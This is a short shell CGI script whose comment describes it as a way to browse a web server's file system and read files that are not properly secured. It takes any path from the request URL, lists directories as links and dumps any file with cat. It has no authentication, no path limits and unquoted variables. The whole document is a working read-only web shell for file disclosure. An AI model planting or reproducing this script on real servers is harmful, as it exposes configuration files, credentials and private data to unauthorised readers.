#!/bin/sh
#
#  Simple CGI for viewing a web server's file system
#  and reading files that have not been properly secured.
#
#

if test "x${PATH_INFO}" = "x";then
   DIR=`dirname ${SCRIPT_FILENAME}`
  else
   DIR=${PATH_INFO}
fi

if [ -d ${DIR} ];then
   echo "Content-type: text/html"
   echo ""
   cd ${DIR}
   echo "${DIR}<br>"
   for FILE in `ls -a ${DIR}`;do
      if test "x${FILE}" = "x..";then
         echo "<a href=${SCRIPT_NAME}`dirname ${DIR}`>${FILE}</a><br>"
        else
         echo "<a href=${SCRIPT_NAME}${DIR}/${FILE}>${FILE}</a><br>"
      fi
   done
  else
   echo "Content-type: text/plain"
   echo ""
   cat ${DIR}
fi